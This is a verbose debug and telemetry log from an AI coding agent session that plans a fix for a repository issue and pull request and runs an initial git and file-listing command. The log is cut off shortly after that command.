conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.820Z] [INFO] 2026-07-12T04:02:18.818289Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_otel.trace_safe: event.name=\"codex.startup_phase\" startup.phase=\"startup_prewarm_resolve\" startup.status=\"ready\" duration_ms=3963 event.timestamp=2026-07-12T04:02:18.818Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.820Z] [INFO] 2026-07-12T04:02:18.818326Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.startup_prewarm.age_at_first_turn_ms\" cardinality_limit=2000\n[2026-07-12T04:02:18.820Z] [INFO] \n[2026-07-12T04:02:18.829Z] [INFO] 2026-07-12T04:02:18.821781Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.thread.skills.enabled_total\" cardinality_limit=2000\n[2026-07-12T04:02:18.829Z] [INFO] 2026-07-12T04:02:18.821877Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.thread.skills.kept_total\" cardinality_limit=2000\n[2026-07-12T04:02:18.829Z] [INFO] 2026-07-12T04:02:18.821920Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.thread.skills.truncated\" cardinality_limit=2000\n[2026-07-12T04:02:18.829Z] [INFO] 2026-07-12T04:02:18.821966Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.thread.skills.description_truncated_chars\" cardinality_limit=2000\n[2026-07-12T04:02:18.829Z] [INFO] \n[2026-07-12T04:02:18.928Z] [INFO] 2026-07-12T04:02:18.927924Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:02:18.928Z] [INFO] \n[2026-07-12T04:02:18.934Z] [INFO] 2026-07-12T04:02:18.931019Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=1 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:02:18.931Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.934Z] [INFO] 2026-07-12T04:02:18.931067Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=1 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:02:18.931Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.934Z] [INFO] 2026-07-12T04:02:18.931093Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:02:18.934Z] [INFO] \n[2026-07-12T04:02:20.598Z] [INFO] 2026-07-12T04:02:20.570410Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Message { id: Some(\"msg_0e255b39bbad6b0b016a5311cc8dac81919697dd622e7b4f7a\"), role: \"assistant\", content: [], phase: Some(Commentary), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:02:20.598Z] [INFO] 2026-07-12T04:02:20.585055Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.turn.ttft.duration_ms\" cardinality_limit=2000\n[2026-07-12T04:02:20.598Z] [INFO] 2026-07-12T04:02:20.585134Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_otel.log_only: event.name=\"codex.turn_ttft\" duration_ms=6230 event.timestamp=2026-07-12T04:02:20.585Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:20.598Z] [INFO] 2026-07-12T04:02:20.585151Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_otel.trace_safe: event.name=\"codex.turn_ttft\" duration_ms=6230 event.timestamp=2026-07-12T04:02:20.585Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:20.598Z] [INFO] \n[2026-07-12T04:02:21.244Z] [INFO] 2026-07-12T04:02:21.221240Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:21.244Z] [INFO] \n[2026-07-12T04:02:21.292Z] [INFO] 2026-07-12T04:02:21.289534Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:21.292Z] [INFO] \n[2026-07-12T04:02:21.320Z] [INFO] 2026-07-12T04:02:21.320128Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:21.320Z] [INFO] \n[2026-07-12T04:02:21.329Z] [INFO] 2026-07-12T04:02:21.326351Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:21.329Z] [INFO] \n[2026-07-12T04:02:21.346Z] [INFO] 2026-07-12T04:02:21.331630Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:21.346Z] [INFO] \n[2026-07-12T04:02:22.078Z] [INFO] 2026-07-12T04:02:22.072231Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:22.078Z] [INFO] \n[2026-07-12T04:02:22.255Z] [INFO] 2026-07-12T04:02:22.254352Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:22.255Z] [INFO] \n[2026-07-12T04:02:22.288Z] [INFO] 2026-07-12T04:02:22.287956Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:22.288Z] [INFO] \n[2026-07-12T04:02:22.294Z] [INFO] 2026-07-12T04:02:22.293799Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:22.294Z] [INFO] \n[2026-07-12T04:02:22.298Z] [INFO] 2026-07-12T04:02:22.295494Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Message { id: Some(\"msg_0e255b39bbad6b0b016a5311cc8dac81919697dd622e7b4f7a\"), role: \"assistant\", content: [OutputText { text: \"I\u2019ll inspect the issue, all issue/PR comment streams, the branch state, and repository guidance first. Then I\u2019ll turn that evidence into a tracked plan before changing code.\" }], phase: Some(Commentary), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:02:22.298Z] [INFO] 2026-07-12T04:02:22.295632Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.turn.ttfm.duration_ms\" cardinality_limit=2000\n[2026-07-12T04:02:22.298Z] [INFO] \n[2026-07-12T04:02:22.300Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_0\",\"type\":\"agent_message\",\"text\":\"I\u2019ll inspect the issue, all issue/PR comment streams, the branch state, and repository guidance first. Then I\u2019ll turn that evidence into a tracked plan before changing code.\"}}\n[2026-07-12T04:02:22.300Z] [INFO] \n[2026-07-12T04:02:22.303Z] [INFO] 2026-07-12T04:02:22.297166Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:22.303Z] [INFO] \n[2026-07-12T04:02:22.305Z] [INFO] 2026-07-12T04:02:22.299817Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5311ce481081919277aa50ae3313ef\"), status: Some(\"in_progress\"), call_id: \"call_zBUDLr3OgQwwGYXSpzH8j3zz\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:02:22.305Z] [INFO] \n[2026-07-12T04:02:23.090Z] [INFO] 2026-07-12T04:02:23.088106Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:23.090Z] [INFO] \n[2026-07-12T04:02:23.234Z] [INFO] 2026-07-12T04:02:23.233549Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:23.234Z] [INFO] \n[2026-07-12T04:02:23.269Z] [INFO] 2026-07-12T04:02:23.266765Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:23.269Z] [INFO] \n[2026-07-12T04:02:23.278Z] [INFO] 2026-07-12T04:02:23.269660Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:23.278Z] [INFO] \n[2026-07-12T04:02:23.279Z] [INFO] 2026-07-12T04:02:23.277197Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:23.279Z] [INFO] \n[2026-07-12T04:02:24.074Z] [INFO] 2026-07-12T04:02:24.074267Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:24.074Z] [INFO] \n[2026-07-12T04:02:24.609Z] [INFO] 2026-07-12T04:02:24.607686Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:24.609Z] [INFO] \n[2026-07-12T04:02:24.652Z] [INFO] 2026-07-12T04:02:24.650883Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:24.652Z] [INFO] \n[2026-07-12T04:02:24.674Z] [INFO] 2026-07-12T04:02:24.672568Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:24.674Z] [INFO] \n[2026-07-12T04:02:24.678Z] [INFO] 2026-07-12T04:02:24.675838Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:24.678Z] [INFO] \n[2026-07-12T04:02:25.384Z] [INFO] 2026-07-12T04:02:25.384239Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:25.384Z] [INFO] \n[2026-07-12T04:02:25.563Z] [INFO] 2026-07-12T04:02:25.547477Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:25.563Z] [INFO] \n[2026-07-12T04:02:25.869Z] [INFO] 2026-07-12T04:02:25.865781Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:25.869Z] [INFO] \n[2026-07-12T04:02:25.874Z] [INFO] 2026-07-12T04:02:25.873981Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:25.874Z] [INFO] \n[2026-07-12T04:02:25.888Z] [INFO] 2026-07-12T04:02:25.886397Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:25.888Z] [INFO] \n[2026-07-12T04:02:26.554Z] [INFO] 2026-07-12T04:02:26.554371Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const p = await tools.update_plan({plan:[\n[2026-07-12T04:02:26.554Z] [INFO]   {step:\"Inspect repository guidance, branch/worktree, issue 5, PR 6, and all comments/reviews\",status:\"in_progress\"},\n[2026-07-12T04:02:26.554Z] [INFO]   {step:\"Identify root cause and existing implementation patterns; reproduce with a failing test\",status:\"pending\"},\n[2026-07-12T04:02:26.554Z] [INFO]   {step:\"Implement the smallest complete fix and any required release metadata\",status:\"pending\"},\n[2026-07-12T04:02:26.554Z] [INFO]   {step:\"Run focused tests and full local CI checks; review the complete diff\",status:\"pending\"},\n[2026-07-12T04:02:26.554Z] [INFO]   {step:\"Commit atomically, sync default branch, push only issue-5-e2602184e2c5\",status:\"pending\"},\n[2026-07-12T04:02:26.554Z] [INFO]   {step:\"Update and finalize PR 6, verify fresh CI logs/status, and mark ready\",status:\"pending\"}\n[2026-07-12T04:02:26.554Z] [INFO] ]});\n[2026-07-12T04:02:26.554Z] [INFO] const r = await tools.exec_command({cmd:\"pwd && git branch --show-current && git status --short --branch && rg --files -g 'AGENTS.md' -g 'CONTRIBUTING*' -g 'README*' -g 'pyproject.toml' -g 'package.json' -g '.github/**' | sed -n '1,200p'\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":10000,\"max_output_tokens\":20000});\n[2026-07-12T04:02:26.554Z] [INFO] text(r.output);\n[2026-07-12T04:02:26.554Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:02:26.554Z] [INFO] \n[2026-07-12T04:02:26.563Z] [INFO] 2026-07-12T04:02:26.562491Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5311cafeec8191bcfd3412201be860\"\n[2026-07-12T04:02:26.563Z] [INFO] 2026-07-12T04:02:26.562546Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=15088 output_token_count=331 cached_token_count=9984 reasoning_token_count=0 tool_token_count=15419 ttft_ms=1640 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:02:26.562Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:26.563Z] [INFO] 2026-07-12T04:02:26.562570Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=15088 output_token_count=331 cached_token_count=9984 reasoning_token_count=0 tool_token_count=15419 ttft_ms=1640 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:02:26.562Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:26.563Z] [INFO] \n[2026-07-12T04:02:26.651Z] [INFO] 2026-07-12T04:02:26.650803Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:26.651Z] [INFO] \n[2026-07-12T04:02:26.716Z] [INFO] 2026-07-12T04:02:26.712676Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:26.716Z] [INFO] \n[2026-07-12T04:02:26.729Z] [INFO] 2026-07-12T04:02:26.728621Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:26.729Z] [INFO] \n[2026-07-12T04:02:26.734Z] [INFO] 2026-07-12T04:02:26.734185Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:26.734Z] [INFO] \n[2026-07-12T04:02:26.736Z] [INFO] 2026-07-12T04:02:26.736376Z DEBUG opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.tool.call\" cardinality_limit=2000\n[2026-07-12T04:02:26.736Z] [INFO] 2026-07-12T04:02:26.736518Z DEBUG opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.tool.call.duration_ms\" cardinality_limit=2000\n[2026-07-12T04:02:26.736Z] [INFO] \n[2026-07-12T04:02:26.737Z] [INFO] 2026-07-12T04:02:26.736553Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=update_plan call_id=exec-2a0df4ac-b193-4683-bee9-2cb26e6f28d9 arguments={\"plan\":[{\"step\":\"Inspect repository guidance, branch/worktree, issue 5, PR 6, and all comments/reviews\",\"status\":\"in_progress\"},{\"step\":\"Identify root cause and existing implementation patterns; reproduce with a failing test\",\"status\":\"pending\"},{\"step\":\"Implement the smallest complete fix and any required release metadata\",\"status\":\"pending\"},{\"step\":\"Run focused tests and full local CI checks; review the complete diff\",\"status\":\"pending\"},{\"step\":\"Commit atomically, sync default branch, push only issue-5-e2602184e2c5\",\"status\":\"pending\"},{\"step\":\"Update and finalize PR 6, verify fresh CI logs/status, and mark ready\",\"status\":\"pending\"}]} duration_ms=0 success=true output=Plan updated mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:26.736Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:26.737Z] [INFO] 2026-07-12T04:02:26.736570Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=update_plan call_id=exec-2a0df4ac-b193-4683-bee9-2cb26e6f28d9 duration_ms=0 success=true arguments_length=648 output_length=12 output_line_count=1 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:26.736Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:26.737Z] [INFO] \n[2026-07-12T04:02:26.743Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_1\",\"type\":\"todo_list\",\"items\":[{\"text\":\"Inspect repository guidance, branch/worktree, issue 5, PR 6, and all comments/reviews\",\"completed\":false},{\"text\":\"Identify root cause and existing implementation patterns; reproduce with a failing test\",\"completed\":false},{\"text\":\"Implement the smallest complete fix and any required release metadata\",\"completed\":false},{\"text\":\"Run focused tests and full local CI checks; review the complete diff\",\"completed\":false},{\"text\":\"Commit atomically, sync default branch, push only issue-5-e2602184e2c5\",\"completed\":false},{\"text\":\"Update and finalize PR 6, verify fresh CI logs/status, and mark ready\",\"completed\":false}]}}\n[2026-07-12T04:02:26.743Z] [INFO] \n[2026-07-12T04:02:26.751Z] [INFO] 2026-07-12T04:02:26.739812Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:26.751Z] [INFO] \n[2026-07-12T04:02:26.779Z] [INFO] 2026-07-12T04:02:26.778809Z DEBUG opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.tool.unified_exec\" cardinality_limit=2000\n[2026-07-12T04:02:26.779Z] [INFO] \n[2026-07-12T04:02:26.781Z] 